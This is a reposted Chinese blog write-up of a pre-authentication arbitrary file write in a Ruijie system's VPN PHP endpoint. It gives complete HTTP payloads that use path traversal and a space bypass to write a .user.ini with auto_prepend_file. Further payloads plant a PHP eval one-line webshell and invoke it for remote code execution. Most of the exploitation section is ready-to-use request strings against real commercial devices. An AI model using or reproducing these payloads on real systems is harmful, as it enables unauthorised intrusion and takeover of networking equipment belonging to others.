锐捷某系统前台任意文件写入分析

文章转自作者瓜皮辰

Part1 前言

        这套系统我估计是全网第一个公开能拿shell的吧(不是的话当我没说),哪套系统自己猜,这次先分享下前台任意文件写入,还有几个rce日后分享,也感谢独立团孙德胜Alan提供的思路。

Part2 代码分析

漏洞位置: /view/vpn/autovpn/feature_commit.php

先通过POST传参进入if判断

在下面的fc_extendsubnet处传参即可进入漏洞位置

会将我们传入的参数提交到putConfig方法

putConfig方法在common.php里,我们来观察下

很简单哈,就是一个file_put_contents函数

再回到存在漏洞的位置,是通过indevice传入文件位置,并且会判断文件后缀最后一位是否为“i”,不是的话就给文件后缀添加上“i”,然后与$lanfile拼接。

Part3 开冲!!!

因为这套系统是以Linux为主,所以我们可以通过空格去绕过已经定义好的$lanfile 以下为我自己做的测试:

然后呢他去判断后缀是否为“i”,所以我们可以利用.user.ini制作一个后门。

关于.user.ini后门,大家可以去看P牛写的文章: https://www.vuln.cn/6001

之后利用../跳目录,写入绝对路径。 所以我们文件名的payload是:

tunnelType=1&fc_extendsubnet=2&indevice=1%20../../../../../../../../../var/www/html/view/vpn/autovpn/.user.in

文件名ok了,我们去构造内容

可以看到是由ft_ipaddr和ft_ipmask传参的,我们简单测试下

tunnelType=1&fc_extendsubnet=2&indevice=1%20../../../../../../../../../var/www/html/view/vpn/autovpn/.users.ini&ft_ipaddr=111&ft_ipmask=1234

可以看到内容是没有问题的,但是会给我们的内容首尾添加上俩双引号,所以我们需要在payload里加入双引号进行闭合。

Payload:

tunnelType=1&fc_extendsubnet=2&indevice=1%20../../../../../../../../../var/www/html/view/vpn/autovpn/.users.ini&ft_ipaddr=111&ft_ipmask=1234"11111"

闭合成功

然后我们构造.user.ini的payload:

tunnelType=1&fc_extendsubnet=2&indevice=1%20../../../../../../../../../var/www/html/view/vpn/autovpn/.user.in&ft_ipmask=%22
auto_prepend_file=1.gifi "

注意: “auto_prepend_file=1.gifi”前面一定要有回车,不然是不会生效的。

之后在往“1.gifi”写入一句话木马,这里无所谓了,不需要回车。 Payload:

tunnelType=1&fc_extendsubnet=2&indevice=1%20../../../../../../../../../var/www/html/view/vpn/autovpn/1.gif&ft_ipmask="<?php%20eval($_GET[pass]);?>"

然后就ok了,需要先等待上0-3分钟,或者是重启Web服务。 之后随便访问.user.ini同级目录下的.php文件,加上咱们的木马,即可代码执行了。

/view/vpn/autovpn/apngw.php?pass=phpinfo();

完结撒花🎉,文章转自作者瓜皮辰。


“D&X 安全实验室”

专注渗透测试技术

全球最新网络攻击技术

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值